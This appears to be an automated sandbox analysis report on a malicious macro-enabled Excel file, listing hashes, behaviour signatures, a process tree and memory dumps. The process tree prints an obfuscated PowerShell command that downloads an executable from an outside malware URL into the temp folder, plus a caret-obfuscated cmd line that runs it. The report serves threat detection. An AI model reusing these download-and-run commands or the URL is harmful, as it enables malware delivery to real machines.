Analysis

  • max time kernel
    109s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    05/08/2021, 18:27

General

  • Target

    fileattached.xlsm

  • Size

    12KB

  • MD5

    2d827df1ee25674aac2060c37efa2fe7

  • SHA1

    c3c6a82ee16f87ebacdd8be47018be38b6c98a27

  • SHA256

    436651743894169dc9cd4c7ef01734420a5ce2d6dcaf57825197e0c756feeee9

  • SHA512

    93258ac910bcad2633dfaa947edf88b3cfea5bb625b071e005fc7ba117e1307a77a6ddc5a8a7ab14a3cea646d8743dc60e5cdc0271ee8eb467faf2a06d739d66

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://iurl.vip/bij0o

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fileattached.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3716
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%Temp%\zJAMC.exe
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:3832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3980
        • C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
          "C:\Users\Admin\AppData\Local\Temp\zJAMC.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:388
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
            "\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
            5⤵
              PID:2988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('http://iurl.vip/bij0o',$env:Temp+'\zJAMC.exe')
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3896

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/388-304-0x0000000005C10000-0x0000000005C11000-memory.dmp

            Filesize

            4KB

          • memory/388-300-0x00000000008D0000-0x00000000008D1000-memory.dmp

            Filesize

            4KB

          • memory/388-302-0x0000000005250000-0x0000000005251000-memory.dmp

            Filesize

            4KB

          • memory/388-303-0x0000000005240000-0x0000000005245000-memory.dmp

            Filesize

            20KB

          • memory/3716-121-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

            Filesize

            64KB

          • memory/3716-320-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

            Filesize

            64KB

          • memory/3716-319-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

            Filesize

            64KB

          • memory/3716-318-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

            Filesize

            64KB

          • memory/3716-321-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

            Filesize

            64KB

          • memory/3716-114-0x00007FF627E60000-0x00007FF62B416000-memory.dmp

            Filesize

            53.7MB

          • memory/3716-123-0x000001994AAA0000-0x000001994C995000-memory.dmp

            Filesize

            31.0MB

          • memory/3716-122-0x00007FF9EFD90000-0x00007FF9F0E7E000-memory.dmp

            Filesize

            16.9MB

          • memory/3716-118-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

            Filesize

            64KB

          • memory/3716-117-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

            Filesize

            64KB

          • memory/3716-116-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

            Filesize

            64KB

          • memory/3716-115-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

            Filesize

            64KB

          • memory/3896-291-0x0000029666336000-0x0000029666338000-memory.dmp

            Filesize

            8KB

          • memory/3896-277-0x0000029666333000-0x0000029666335000-memory.dmp

            Filesize

            8KB

          • memory/3896-276-0x0000029666330000-0x0000029666332000-memory.dmp

            Filesize

            8KB

          • memory/3980-299-0x000001E7E5986000-0x000001E7E5988000-memory.dmp

            Filesize

            8KB

          • memory/3980-275-0x000001E7E5983000-0x000001E7E5985000-memory.dmp

            Filesize

            8KB

          • memory/3980-274-0x000001E7E5980000-0x000001E7E5982000-memory.dmp

            Filesize

            8KB

          • memory/3980-273-0x000001E7E58E0000-0x000001E7E58E1000-memory.dmp

            Filesize

            4KB

          • memory/3980-265-0x000001E7CD700000-0x000001E7CD701000-memory.dmp

            Filesize

            4KB